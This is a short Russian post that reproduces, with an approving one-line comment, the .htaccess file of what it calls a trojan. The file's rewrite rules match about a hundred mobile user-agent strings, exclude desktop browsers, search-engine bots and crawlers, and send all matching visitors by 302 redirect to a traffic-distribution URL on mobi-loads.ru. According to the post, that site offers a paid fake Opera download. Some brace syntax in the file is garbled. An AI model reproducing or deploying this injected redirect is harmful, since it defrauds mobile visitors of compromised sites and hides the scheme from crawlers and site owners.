[PMR]

Прикольный был троян, анализировал user-agent и если мобилка - то редиректил на платник с типа оперой.

# AddHandler application/x-httpd-php5 .php3 .php5 .php .php4 .htm .html .phtml .shtm

RewriteEngine on

RewriteCond %{HTTP_USER_AGENT** acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT** alav [NC,OR]
RewriteCond %{HTTP_USER_AGENT** alca [NC,OR]
RewriteCond %{HTTP_USER_AGENT** amoi [NC,OR]
RewriteCond %{HTTP_USER_AGENT** audi [NC,OR]
RewriteCond %{HTTP_USER_AGENT** aste [NC,OR]
RewriteCond %{HTTP_USER_AGENT** avan [NC,OR]
RewriteCond %{HTTP_USER_AGENT** benq [NC,OR]
RewriteCond %{HTTP_USER_AGENT** bird [NC,OR]
RewriteCond %{HTTP_USER_AGENT** blac [NC,OR]
RewriteCond %{HTTP_USER_AGENT** blaz [NC,OR]
RewriteCond %{HTTP_USER_AGENT** brew [NC,OR]
RewriteCond %{HTTP_USER_AGENT** cell [NC,OR]
RewriteCond %{HTTP_USER_AGENT** cldc [NC,OR]
RewriteCond %{HTTP_USER_AGENT** cmd- [NC,OR]
RewriteCond %{HTTP_USER_AGENT** dang [NC,OR]
RewriteCond %{HTTP_USER_AGENT** doco [NC,OR]
RewriteCond %{HTTP_USER_AGENT** eric [NC,OR]
RewriteCond %{HTTP_USER_AGENT** hipt [NC,OR]
RewriteCond %{HTTP_USER_AGENT** inno [NC,OR]
RewriteCond %{HTTP_USER_AGENT** ipaq [NC,OR]
RewriteCond %{HTTP_USER_AGENT** java [NC,OR]
RewriteCond %{HTTP_USER_AGENT** jigs [NC,OR]
RewriteCond %{HTTP_USER_AGENT** kddi [NC,OR]
RewriteCond %{HTTP_USER_AGENT** keji [NC,OR]
RewriteCond %{HTTP_USER_AGENT** leno [NC,OR]
RewriteCond %{HTTP_USER_AGENT** lg-c [NC,OR]
RewriteCond %{HTTP_USER_AGENT** lg-d [NC,OR]
RewriteCond %{HTTP_USER_AGENT** lg-g [NC,OR]
RewriteCond %{HTTP_USER_AGENT** lge- [NC,OR]
RewriteCond %{HTTP_USER_AGENT** maui [NC,OR]
RewriteCond %{HTTP_USER_AGENT** maxo [NC,OR]
RewriteCond %{HTTP_USER_AGENT** midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT** mits [NC,OR]
RewriteCond %{HTTP_USER_AGENT** mmef [NC,OR]
RewriteCond %{HTTP_USER_AGENT** mobi [NC,OR]
RewriteCond %{HTTP_USER_AGENT** mot- [NC,OR]
RewriteCond %{HTTP_USER_AGENT** moto [NC,OR]
RewriteCond %{HTTP_USER_AGENT** mwbp [NC,OR]
RewriteCond %{HTTP_USER_AGENT** nec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT** newt [NC,OR]
RewriteCond %{HTTP_USER_AGENT** noki [NC,OR]
RewriteCond %{HTTP_USER_AGENT** opwv [NC,OR]
RewriteCond %{HTTP_USER_AGENT** palm [NC,OR]
RewriteCond %{HTTP_USER_AGENT** pana [NC,OR]
RewriteCond %{HTTP_USER_AGENT** pant [NC,OR]
RewriteCond %{HTTP_USER_AGENT** pdxg [NC,OR]
RewriteCond %{HTTP_USER_AGENT** phil [NC,OR]
RewriteCond %{HTTP_USER_AGENT** play [NC,OR]
RewriteCond %{HTTP_USER_AGENT** pluc [NC,OR]
RewriteCond %{HTTP_USER_AGENT** port [NC,OR]
RewriteCond %{HTTP_USER_AGENT** prox [NC,OR]
RewriteCond %{HTTP_USER_AGENT** qtek [NC,OR]
RewriteCond %{HTTP_USER_AGENT** qwap [NC,OR]
RewriteCond %{HTTP_USER_AGENT** sage [NC,OR]
RewriteCond %{HTTP_USER_AGENT** sams [NC,OR]
RewriteCond %{HTTP_USER_AGENT** sany [NC,OR]
RewriteCond %{HTTP_USER_AGENT** sch- [NC,OR]
RewriteCond %{HTTP_USER_AGENT** sec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT** send [NC,OR]
RewriteCond %{HTTP_USER_AGENT** seri [NC,OR]
RewriteCond %{HTTP_USER_AGENT** sgh- [NC,OR]
RewriteCond %{HTTP_USER_AGENT** shar [NC,OR]
RewriteCond %{HTTP_USER_AGENT** sie- [NC,OR]
RewriteCond %{HTTP_USER_AGENT** siem [NC,OR]
RewriteCond %{HTTP_USER_AGENT** smal [NC,OR]
RewriteCond %{HTTP_USER_AGENT** smar [NC,OR]
RewriteCond %{HTTP_USER_AGENT** sony [NC,OR]
RewriteCond %{HTTP_USER_AGENT** sph- [NC,OR]
RewriteCond %{HTTP_USER_AGENT** symb [NC,OR]
RewriteCond %{HTTP_USER_AGENT** t-mo [NC,OR]
RewriteCond %{HTTP_USER_AGENT** teli [NC,OR]
RewriteCond %{HTTP_USER_AGENT** tim- [NC,OR]
RewriteCond %{HTTP_USER_AGENT** tosh [NC,OR]
RewriteCond %{HTTP_USER_AGENT** tsm- [NC,OR]
RewriteCond %{HTTP_USER_AGENT** upg1 [NC,OR]
RewriteCond %{HTTP_USER_AGENT** upsi [NC,OR]
RewriteCond %{HTTP_USER_AGENT** vk-v [NC,OR]
RewriteCond %{HTTP_USER_AGENT** voda [NC,OR]
RewriteCond %{HTTP_USER_AGENT** w3cs [NC,OR]
RewriteCond %{HTTP_USER_AGENT** wap- [NC,OR]
RewriteCond %{HTTP_USER_AGENT** wapa [NC,OR]
RewriteCond %{HTTP_USER_AGENT** wapi [NC,OR]
RewriteCond %{HTTP_USER_AGENT** wapp [NC,OR]
RewriteCond %{HTTP_USER_AGENT** wapr [NC,OR]
RewriteCond %{HTTP_USER_AGENT** webc [NC,OR]
RewriteCond %{HTTP_USER_AGENT** winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT** winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT** xda [NC,OR]
RewriteCond %{HTTP_USER_AGENT** xda- [NC,OR]
RewriteCond %{HTTP_USER_AGENT** up.browser [NC,OR]
RewriteCond %{HTTP_USER_AGENT** up.link [NC,OR]
RewriteCond %{HTTP_USER_AGENT** windows.ce [NC,OR]
RewriteCond %{HTTP_USER_AGENT** iemobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT** mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT** mmp [NC,OR]
RewriteCond %{HTTP_USER_AGENT** symbian [NC,OR]
RewriteCond %{HTTP_USER_AGENT** midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT** wap [NC,OR]
RewriteCond %{HTTP_USER_AGENT** phone [NC,OR]
RewriteCond %{HTTP_USER_AGENT** pocket [NC,OR]
RewriteCond %{HTTP_USER_AGENT** mobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT** pda [NC,OR]
RewriteCond %{HTTP_USER_AGENT** PPC [NC,OR]
RewriteCond %{HTTP_USER_AGENT** Series60 [NC,OR]
RewriteCond %{HTTP_USER_AGENT** Opera.Mini [NC]

RewriteCond %{HTTP_USER_AGENT** !windows.nt [NC]
RewriteCond %{HTTP_USER_AGENT** !bsd [NC]
RewriteCond %{HTTP_USER_AGENT** !x11 [NC]
RewriteCond %{HTTP_USER_AGENT** !unix [NC]
RewriteCond %{HTTP_USER_AGENT** !macos [NC]
RewriteCond %{HTTP_USER_AGENT** !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT** !playstation [NC]
RewriteCond %{HTTP_USER_AGENT** !google [NC]
RewriteCond %{HTTP_USER_AGENT** !yandex [NC]
RewriteCond %{HTTP_USER_AGENT** !bot [NC]
RewriteCond %{HTTP_USER_AGENT** !libwww [NC]
RewriteCond %{HTTP_USER_AGENT** !msn [NC]
RewriteCond %{HTTP_USER_AGENT** !america [NC]
RewriteCond %{HTTP_USER_AGENT** !avant [NC]
RewriteCond %{HTTP_USER_AGENT** !download [NC]
RewriteCond %{HTTP_USER_AGENT** !fdm [NC]
RewriteCond %{HTTP_USER_AGENT** !maui [NC]
RewriteCond %{HTTP_USER_AGENT** !webmoney [NC]
RewriteCond %{HTTP_USER_AGENT** !windows-media-player [NC]
RewriteCond %{QUERY_STRING** !wpc_nr [NC]

RewriteRule ^(.*)$ mobi-loads.ru/tds?r=4283&l=5 [L,R=302]